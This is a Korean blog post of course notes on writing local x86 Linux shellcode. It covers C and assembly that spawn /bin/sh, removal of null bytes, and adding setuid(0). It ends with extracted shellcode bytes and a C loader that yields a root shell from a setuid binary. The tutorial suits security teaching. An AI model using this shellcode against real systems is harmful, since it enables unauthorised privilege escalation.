6. 쉘 코드 제작 (심화)
1) LOCAL SHELLCODE
▣ Local Shellcode
- 로컬 환경에서 동작되는 쉘(/bin/sh)
- /tmp/local.c 로 작성
- 컴파일 : # gcc -o local local.c -static
- execve(실행경로, 인자값 배열의 주소, 환경변수 배열의 주소) //execve는 시스템콜함수로 11번임.
#include <stdio.h> int main() { char * i2sec[2]; i2sec[0] = "/bin/sh"; i2sec[1] = 0; execve(i2sec[0], i2sec, &i2sec[1]); }
- 어셈블리어로 작성.
global _start _start: jmp short message start: pop ebx push 0 mov edx, esp push ebx mov ecx, esp mov eax, 0xb int 0x80 message: call start db "/bin/sh", 0
- 널바이트 제거를 위해 수정
global _start _start: jmp short message start: xor eax, eax pop ebx push eax mov edx, esp push ebx mov ecx, esp mov al, 0xb int 0x80 message: call start db "/bin/sh", 0
- 해당 어셈블리어로 만들어진 파일을 chmod 4777로 줘도 일반사용자가 root권한의 쉘을 얻지 못함.
☞ /bin/sh는 ruid랑 euid를 동시에 비교해서 다르면 root 권한을 허용안함.
- 그럼 어떻게 해야하나..
☞ setuid(0); 를 추가해준다. -> setuid의 시스템 콜 번호는 23(0x17)
global _start _start: jmp short message start: xor eax, eax mov ebx, eax mov al, 0x17 int 0x80 pop ebx push eax mov edx, esp push ebx mov ecx, esp mov al, 0xb int 0x80 message: call start db "/bin/sh", 0
☞ 이제 해당 파일을 쉘코드로 추출해서 일반사용자가 실행하면 root 권한의 쉘을 얻을 수 있음.
#include <stdio.h> char code[] = "\xeb\x13\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x5b\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { int (*exeshell)(); exeshell = (int (*) ())code; (int)(*exeshell)(); }
- 위의 c코드를 컴파일 한 후 chmod 4755를 주고 일반사용자에서 실행하면 root권한의 쉘을 얻음.
i2sec 대구지점 23기 수료생.
'해킹&보안 > 시스템해킹&보안' 카테고리의 다른 글
[D+10] 보호 기법 우회 (1) (4) | 2017.04.12 |
---|---|
[D+9] 메모리 보호 기법 (0) | 2017.04.12 |
[D+7] 쉘 코드 제작 (0) | 2017.04.11 |
쉘 프로그래밍 (0) | 2017.03.16 |
[D+5] Backdoor (백도어) (2) (0) | 2017.03.08 |